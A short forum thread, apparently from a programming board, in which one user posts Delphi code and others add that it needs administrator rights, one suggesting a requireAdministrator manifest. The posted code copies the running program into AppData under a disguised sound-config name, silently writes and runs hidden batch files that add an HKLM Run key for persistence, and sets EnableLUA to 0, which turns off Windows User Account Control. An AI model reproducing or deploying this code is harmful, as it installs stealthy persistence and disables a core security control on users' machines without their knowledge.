[PhoenixAI]

ok so to do this the delphi application must be ran as administrator

so here is how you can add your delphi application using command lines
components used (TMemo)
uses ( ShellApi )

Code

copyfile(PChar(application.exename), PChar(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RDSoundConfig.exe'), false);
memo2.Lines.Add('REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RDSoundContorl /t REG_SZ /d "%appdata%\RDSoundConfig\RDSoundConfig.exe" /f');
memo2.Lines.Add('exit');
memo2.Lines.SaveToFile(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RandShot.bat');
memo2.Lines.Clear;
ShellExecute(Handle, 'open', PAnsiChar(GetEnvironmentVariable('APPDATA') + '\\RDSoundConfig\\RandShot.bat'), nil, nil, SW_HIDE);
memo2.Lines.Add('%windir%\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f');
memo2.Lines.Add('exit');
memo2.Lines.SaveToFile(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RDRun.bat');
memo2.Lines.Clear;
ShellExecute(Handle, 'open', PAnsiChar(GetEnvironmentVariable('APPDATA') + '\\RDSoundConfig\\RDRun.bat'), nil, nil, SW_HIDE);

[SamsWatson]

not only delphi but also a vb program also need to be run as administrator for this kind of code .

[Golliath808]

not only delphi but also a vb program also need to be run as administrator for this kind of code .

lol dude,this is a 1year old thread. How could you bu-mp one like this

[moundown]

not only delphi but also a vb program also need to be run as administrator for this kind of code .

Yeah but you can also create a manifest with:

Code

level="requireAdministrator"

and it will always start as admin .... Cheers ....